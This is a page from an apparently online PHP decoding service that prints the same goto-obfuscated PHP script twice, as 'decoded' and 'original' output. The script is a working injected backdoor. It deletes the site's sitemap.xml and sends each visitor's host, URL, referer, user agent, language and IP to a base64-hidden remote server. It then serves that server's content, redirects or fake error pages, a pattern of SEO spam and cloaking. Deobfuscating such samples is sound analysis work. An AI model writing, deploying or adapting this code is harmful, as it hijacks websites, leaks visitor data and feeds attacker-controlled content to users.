Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto wcLMs; y6zSV: n6ZIa: goto hdOxr; iVpma: GyZSL: goto jc9zx; EStYA: OgfTe: got..

Decoded Output download

<?php  
 goto wcLMs; y6zSV: n6ZIa: goto hdOxr; iVpma: GyZSL: goto jc9zx; EStYA: OgfTe: goto TDBtw; CnuFC: function VE0TY($LBHUh) { goto Gpn3c; kYyPq: $fGuVw = @file_get_contents($LBHUh); goto H6kou; Dnbfn: curl_setopt($jOGFY, CURLOPT_URL, $LBHUh); goto RF8Kj; H6kou: if ($fGuVw) { goto zAdLP; } goto v_Fgz; uLQ4t: $fGuVw = curl_exec($jOGFY); goto X3Wu8; B0I3h: curl_setopt($jOGFY, CURLOPT_CONNECTTIMEOUT, 30); goto uLQ4t; RF8Kj: curl_setopt($jOGFY, CURLOPT_SSL_VERIFYHOST, 0); goto Fpfp1; Gpn3c: $fGuVw = ''; goto kYyPq; v_Fgz: $jOGFY = curl_init(); goto Dnbfn; dOca0: return $fGuVw; goto rTeOk; HZZX3: curl_setopt($jOGFY, CURLOPT_RETURNTRANSFER, 1); goto B0I3h; Djgbk: zAdLP: goto dOca0; X3Wu8: curl_close($jOGFY); goto Djgbk; Fpfp1: curl_setopt($jOGFY, CURLOPT_SSL_VERIFYPEER, 0); goto HZZX3; rTeOk: } goto qu_l4; O1N7y: $VQ2tJ = trim(VE0tY($LBHUh)); goto CNeW_; rJV5I: if (AGLzx()) { goto v2A4d; } goto Dnd_u; eIQYj: $VQ2tJ = str_replace("echohtmlcontent", '', $VQ2tJ); goto w8Ik0; cAn3L: $k3X96 = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); goto GfooX; s6Fk3: header("Location: " . $VQ2tJ); goto pZAAI; hNHqX: $Ec7a4 = urldecode(base64_decode($EevB1)); goto jshNQ; VusaX: exit; goto xYPnp; CjK5z: exit; goto vElzV; GEfKd: fLHZn: goto O0D8u; ya1Ck: MEgtL: goto BfsvO; XOFxa: goto N2OFY; goto ya1Ck; Yg0dg: @header("HTTP/1.1 301 Moved Permanently"); goto Ckwan; Xs37W: $LBHUh = "http" . "://" . $Ec7a4 . "/indexone.php?my_host=" . $Rpduk . "&my_uri=" . $DlJ50 . "&my_lang=" . $Jc8qW . "&my_origin=" . $GDwSB . "&http_type=" . $jcl_a . "&my_agent=" . $k3X96 . "&my_id=" . $QT1NA; goto O1N7y; m0bTs: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto ztZoj; } goto s5Mxm; XQ_es: if (!file_exists($C699T = $X7_w_ . "/sitemap.xml")) { goto GyZSL; } goto pY2uV; cpn9S: dMhXs: goto eLqam; JDY60: $jcl_a = "https"; goto y6zSV; eYSrS: @error_reporting(0); goto x30VY; iOLdA: if (strstr($VQ2tJ, "echoxmlcontent")) { goto IqBQ2; } goto YRxOm; nBnJq: $jcl_a = "http"; goto rJV5I; kumMx: goto n6ZIa; goto Xn_CC; euw9z: goto sd2Kg; goto cpn9S; UVRtj: @header("Content-type: text/xml"); goto V6_nX; SSqWl: if (strstr($VQ2tJ, "echo500pagecontent")) { goto ql7Xo; } goto nxI89; TTVqC: $VQ2tJ = str_replace("echoxmlcontent", '', $VQ2tJ); goto UVRtj; UM9zx: @header("Content-type: text/html; charset=utf-8"); goto QrLs6; kSlo8: $X7_w_ = $_SERVER["DOCUMENT_ROOT"]; goto pP2PB; pY2uV: @unlink($C699T); goto iVpma; VaKBz: exit; goto Peg38; nxI89: if (strstr($VQ2tJ, "echo404pagecontent")) { goto OgfTe; } goto jT2M5; BfsvO: $VQ2tJ = str_replace("echopingxmlcontent", '', $VQ2tJ); goto UM9zx; KsavZ: function TaVrT() { goto SB1Z2; Y2Exq: xgzwo: goto Ar0Uf; Ar0Uf: $DlJ50 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto iIdV1; hzDuw: return $DlJ50; goto z2b15; V4LoA: $DlJ50 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto O92Ja; iIdV1: a7juy: goto exZm1; x0M6T: V4LMx: goto lzGUV; exZm1: goto FNJSb; goto x0M6T; O92Ja: goto a7juy; goto Y2Exq; lLFha: if (isset($_SERVER["argv"])) { goto xgzwo; } goto V4LoA; lzGUV: $DlJ50 = $_SERVER["REQUEST_URI"]; goto c_ytx; c_ytx: FNJSb: goto hzDuw; SB1Z2: if (isset($_SERVER["REQUEST_URI"])) { goto V4LMx; } goto lLFha; z2b15: } goto CnuFC; PrsgQ: goto X9o0k; goto LHgaV; DEqmH: N2OFY: goto NZv3n; xYPnp: EXjr0: goto XOFxa; Ylyx3: $GDwSB = ''; goto xpKY2; pCMAo: exit; goto DEqmH; y8igd: ql7Xo: goto g827B; x30VY: @ignore_user_abort(1); goto m0bTs; WyucR: function AgLzx() { goto fTYLn; iPZrO: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto fsZ7b; } goto mHhAN; mHhAN: goto QcOYW; goto HQbWL; X8dhP: return true; goto RcSZl; p4oqd: goto QcOYW; goto otw0j; sx5zd: return true; goto r777A; fTYLn: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto dJ6K5; } goto GkuZC; Q6Ebq: hP84R: goto Tj8Pq; up3dh: return false; goto JNpBl; otw0j: fsZ7b: goto X8dhP; GkuZC: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto hP84R; } goto iPZrO; r777A: goto QcOYW; goto Q6Ebq; RcSZl: QcOYW: goto up3dh; HQbWL: dJ6K5: goto sx5zd; Tj8Pq: return true; goto p4oqd; JNpBl: } goto KsavZ; TDBtw: @header("HTTP/1.1 404 Not Found"); goto KeqV3; O0D8u: goto EXjr0; goto y8igd; QNpu5: $Jc8qW = urlencode($Jc8qW); goto Ylyx3; Xn_CC: v2A4d: goto JDY60; w8Ik0: echo $VQ2tJ; goto CjK5z; CNeW_: if (strstr($VQ2tJ, "notdoanything")) { goto RYfM6; } goto GanFA; GanFA: if (strstr($VQ2tJ, "echohtmlcontent")) { goto dMhXs; } goto iOLdA; jT2M5: if (!strstr($VQ2tJ, "echo301pagecontent")) { goto QtXuj; } goto Yg0dg; YRxOm: if (strstr($VQ2tJ, "echopingxmlcontent")) { goto MEgtL; } goto SSqWl; QrLs6: echo k9j1A($VQ2tJ); goto pCMAo; M3bJ5: $GDwSB = $_SERVER["HTTP_REFERER"]; goto ldIK6; V6_nX: echo trim($VQ2tJ); goto VaKBz; hdOxr: $DlJ50 = urlencode(tAvrt()); goto hNHqX; GfooX: $QT1NA = urlencode(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ''); goto Xs37W; wcLMs: @set_time_limit(0); goto eYSrS; ldIK6: HmH6X: goto iXii4; E3y22: QtXuj: goto apftA; vElzV: sd2Kg: goto pFP9Z; pZAAI: exit; goto E3y22; Ckwan: $VQ2tJ = str_replace("echo301pagecontent", '', $VQ2tJ); goto s6Fk3; eLqam: @header("Content-type: text/html; charset=utf-8"); goto eIQYj; s5Mxm: $X7_w_ = dirname(__FILE__); goto PrsgQ; apftA: goto fLHZn; goto EStYA; NZv3n: goto XUl9r; goto HlYcb; LHgaV: ztZoj: goto kSlo8; xpKY2: if (!isset($_SERVER["HTTP_REFERER"])) { goto HmH6X; } goto M3bJ5; Dnd_u: $jcl_a = "http"; goto kumMx; iXii4: $GDwSB = urlencode($GDwSB); goto cAn3L; g827B: @header("HTTP/1.1 500 Internal Server Error"); goto VusaX; pP2PB: X9o0k: goto XQ_es; Peg38: XUl9r: goto euw9z; HlYcb: IqBQ2: goto TTVqC; KeqV3: exit; goto GEfKd; EnSyv: $Rpduk = urlencode($_SERVER["HTTP_HOST"]); goto QNpu5; jshNQ: $Jc8qW = urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto EnSyv; pFP9Z: RYfM6: goto WyucR; jc9zx: $EevB1 = "YmJ3d3g0LmJlbm5lY2RtLnRvcA=="; goto nBnJq; qu_l4: function k9j1A($VQ2tJ) { goto jIPxb; ThNpZ: TGfNq: goto idiXQ; idiXQ: return $q60eE; goto IPHiA; CjBQA: foreach ($Y_zra as $J_Qlk) { goto WT7GJ; vKs7s: $q60eE .= $J_Qlk . " ===> " . $iFp2z . "<br>"; goto akFl1; WT7GJ: $X0rOL = VE0tY($J_Qlk); goto Adw7F; Adw7F: $iFp2z = strpos($X0rOL, "Sitemap Notification Received") !== false ? "OK" : "ERROR"; goto vKs7s; akFl1: QCWMz: goto IjUpw; IjUpw: } goto ThNpZ; Vlvx3: $Ilt62 = ''; goto CjBQA; jIPxb: $Y_zra = explode("#####", trim($VQ2tJ)); goto Vlvx3; IPHiA: } ?>

Did this file decode correctly?

Original Code

<?php 
 goto wcLMs; y6zSV: n6ZIa: goto hdOxr; iVpma: GyZSL: goto jc9zx; EStYA: OgfTe: goto TDBtw; CnuFC: function VE0TY($LBHUh) { goto Gpn3c; kYyPq: $fGuVw = @file_get_contents($LBHUh); goto H6kou; Dnbfn: curl_setopt($jOGFY, CURLOPT_URL, $LBHUh); goto RF8Kj; H6kou: if ($fGuVw) { goto zAdLP; } goto v_Fgz; uLQ4t: $fGuVw = curl_exec($jOGFY); goto X3Wu8; B0I3h: curl_setopt($jOGFY, CURLOPT_CONNECTTIMEOUT, 30); goto uLQ4t; RF8Kj: curl_setopt($jOGFY, CURLOPT_SSL_VERIFYHOST, 0); goto Fpfp1; Gpn3c: $fGuVw = ''; goto kYyPq; v_Fgz: $jOGFY = curl_init(); goto Dnbfn; dOca0: return $fGuVw; goto rTeOk; HZZX3: curl_setopt($jOGFY, CURLOPT_RETURNTRANSFER, 1); goto B0I3h; Djgbk: zAdLP: goto dOca0; X3Wu8: curl_close($jOGFY); goto Djgbk; Fpfp1: curl_setopt($jOGFY, CURLOPT_SSL_VERIFYPEER, 0); goto HZZX3; rTeOk: } goto qu_l4; O1N7y: $VQ2tJ = trim(VE0tY($LBHUh)); goto CNeW_; rJV5I: if (AGLzx()) { goto v2A4d; } goto Dnd_u; eIQYj: $VQ2tJ = str_replace("echohtmlcontent", '', $VQ2tJ); goto w8Ik0; cAn3L: $k3X96 = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); goto GfooX; s6Fk3: header("Location: " . $VQ2tJ); goto pZAAI; hNHqX: $Ec7a4 = urldecode(base64_decode($EevB1)); goto jshNQ; VusaX: exit; goto xYPnp; CjK5z: exit; goto vElzV; GEfKd: fLHZn: goto O0D8u; ya1Ck: MEgtL: goto BfsvO; XOFxa: goto N2OFY; goto ya1Ck; Yg0dg: @header("HTTP/1.1 301 Moved Permanently"); goto Ckwan; Xs37W: $LBHUh = "http" . "://" . $Ec7a4 . "/indexone.php?my_host=" . $Rpduk . "&my_uri=" . $DlJ50 . "&my_lang=" . $Jc8qW . "&my_origin=" . $GDwSB . "&http_type=" . $jcl_a . "&my_agent=" . $k3X96 . "&my_id=" . $QT1NA; goto O1N7y; m0bTs: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto ztZoj; } goto s5Mxm; XQ_es: if (!file_exists($C699T = $X7_w_ . "/sitemap.xml")) { goto GyZSL; } goto pY2uV; cpn9S: dMhXs: goto eLqam; JDY60: $jcl_a = "https"; goto y6zSV; eYSrS: @error_reporting(0); goto x30VY; iOLdA: if (strstr($VQ2tJ, "echoxmlcontent")) { goto IqBQ2; } goto YRxOm; nBnJq: $jcl_a = "http"; goto rJV5I; kumMx: goto n6ZIa; goto Xn_CC; euw9z: goto sd2Kg; goto cpn9S; UVRtj: @header("Content-type: text/xml"); goto V6_nX; SSqWl: if (strstr($VQ2tJ, "echo500pagecontent")) { goto ql7Xo; } goto nxI89; TTVqC: $VQ2tJ = str_replace("echoxmlcontent", '', $VQ2tJ); goto UVRtj; UM9zx: @header("Content-type: text/html; charset=utf-8"); goto QrLs6; kSlo8: $X7_w_ = $_SERVER["DOCUMENT_ROOT"]; goto pP2PB; pY2uV: @unlink($C699T); goto iVpma; VaKBz: exit; goto Peg38; nxI89: if (strstr($VQ2tJ, "echo404pagecontent")) { goto OgfTe; } goto jT2M5; BfsvO: $VQ2tJ = str_replace("echopingxmlcontent", '', $VQ2tJ); goto UM9zx; KsavZ: function TaVrT() { goto SB1Z2; Y2Exq: xgzwo: goto Ar0Uf; Ar0Uf: $DlJ50 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto iIdV1; hzDuw: return $DlJ50; goto z2b15; V4LoA: $DlJ50 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto O92Ja; iIdV1: a7juy: goto exZm1; x0M6T: V4LMx: goto lzGUV; exZm1: goto FNJSb; goto x0M6T; O92Ja: goto a7juy; goto Y2Exq; lLFha: if (isset($_SERVER["argv"])) { goto xgzwo; } goto V4LoA; lzGUV: $DlJ50 = $_SERVER["REQUEST_URI"]; goto c_ytx; c_ytx: FNJSb: goto hzDuw; SB1Z2: if (isset($_SERVER["REQUEST_URI"])) { goto V4LMx; } goto lLFha; z2b15: } goto CnuFC; PrsgQ: goto X9o0k; goto LHgaV; DEqmH: N2OFY: goto NZv3n; xYPnp: EXjr0: goto XOFxa; Ylyx3: $GDwSB = ''; goto xpKY2; pCMAo: exit; goto DEqmH; y8igd: ql7Xo: goto g827B; x30VY: @ignore_user_abort(1); goto m0bTs; WyucR: function AgLzx() { goto fTYLn; iPZrO: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto fsZ7b; } goto mHhAN; mHhAN: goto QcOYW; goto HQbWL; X8dhP: return true; goto RcSZl; p4oqd: goto QcOYW; goto otw0j; sx5zd: return true; goto r777A; fTYLn: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto dJ6K5; } goto GkuZC; Q6Ebq: hP84R: goto Tj8Pq; up3dh: return false; goto JNpBl; otw0j: fsZ7b: goto X8dhP; GkuZC: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto hP84R; } goto iPZrO; r777A: goto QcOYW; goto Q6Ebq; RcSZl: QcOYW: goto up3dh; HQbWL: dJ6K5: goto sx5zd; Tj8Pq: return true; goto p4oqd; JNpBl: } goto KsavZ; TDBtw: @header("HTTP/1.1 404 Not Found"); goto KeqV3; O0D8u: goto EXjr0; goto y8igd; QNpu5: $Jc8qW = urlencode($Jc8qW); goto Ylyx3; Xn_CC: v2A4d: goto JDY60; w8Ik0: echo $VQ2tJ; goto CjK5z; CNeW_: if (strstr($VQ2tJ, "notdoanything")) { goto RYfM6; } goto GanFA; GanFA: if (strstr($VQ2tJ, "echohtmlcontent")) { goto dMhXs; } goto iOLdA; jT2M5: if (!strstr($VQ2tJ, "echo301pagecontent")) { goto QtXuj; } goto Yg0dg; YRxOm: if (strstr($VQ2tJ, "echopingxmlcontent")) { goto MEgtL; } goto SSqWl; QrLs6: echo k9j1A($VQ2tJ); goto pCMAo; M3bJ5: $GDwSB = $_SERVER["HTTP_REFERER"]; goto ldIK6; V6_nX: echo trim($VQ2tJ); goto VaKBz; hdOxr: $DlJ50 = urlencode(tAvrt()); goto hNHqX; GfooX: $QT1NA = urlencode(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ''); goto Xs37W; wcLMs: @set_time_limit(0); goto eYSrS; ldIK6: HmH6X: goto iXii4; E3y22: QtXuj: goto apftA; vElzV: sd2Kg: goto pFP9Z; pZAAI: exit; goto E3y22; Ckwan: $VQ2tJ = str_replace("echo301pagecontent", '', $VQ2tJ); goto s6Fk3; eLqam: @header("Content-type: text/html; charset=utf-8"); goto eIQYj; s5Mxm: $X7_w_ = dirname(__FILE__); goto PrsgQ; apftA: goto fLHZn; goto EStYA; NZv3n: goto XUl9r; goto HlYcb; LHgaV: ztZoj: goto kSlo8; xpKY2: if (!isset($_SERVER["HTTP_REFERER"])) { goto HmH6X; } goto M3bJ5; Dnd_u: $jcl_a = "http"; goto kumMx; iXii4: $GDwSB = urlencode($GDwSB); goto cAn3L; g827B: @header("HTTP/1.1 500 Internal Server Error"); goto VusaX; pP2PB: X9o0k: goto XQ_es; Peg38: XUl9r: goto euw9z; HlYcb: IqBQ2: goto TTVqC; KeqV3: exit; goto GEfKd; EnSyv: $Rpduk = urlencode($_SERVER["HTTP_HOST"]); goto QNpu5; jshNQ: $Jc8qW = urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto EnSyv; pFP9Z: RYfM6: goto WyucR; jc9zx: $EevB1 = "YmJ3d3g0LmJlbm5lY2RtLnRvcA=="; goto nBnJq; qu_l4: function k9j1A($VQ2tJ) { goto jIPxb; ThNpZ: TGfNq: goto idiXQ; idiXQ: return $q60eE; goto IPHiA; CjBQA: foreach ($Y_zra as $J_Qlk) { goto WT7GJ; vKs7s: $q60eE .= $J_Qlk . " ===> " . $iFp2z . "<br>"; goto akFl1; WT7GJ: $X0rOL = VE0tY($J_Qlk); goto Adw7F; Adw7F: $iFp2z = strpos($X0rOL, "Sitemap Notification Received") !== false ? "OK" : "ERROR"; goto vKs7s; akFl1: QCWMz: goto IjUpw; IjUpw: } goto ThNpZ; Vlvx3: $Ilt62 = ''; goto CjBQA; jIPxb: $Y_zra = explode("#####", trim($VQ2tJ)); goto Vlvx3; IPHiA: } ?>

Function Calls

None

Variables

None

Stats

MD5 6352747154354f76fe8bb160cbe129d3
Eval Count 0
Decode Time 38 ms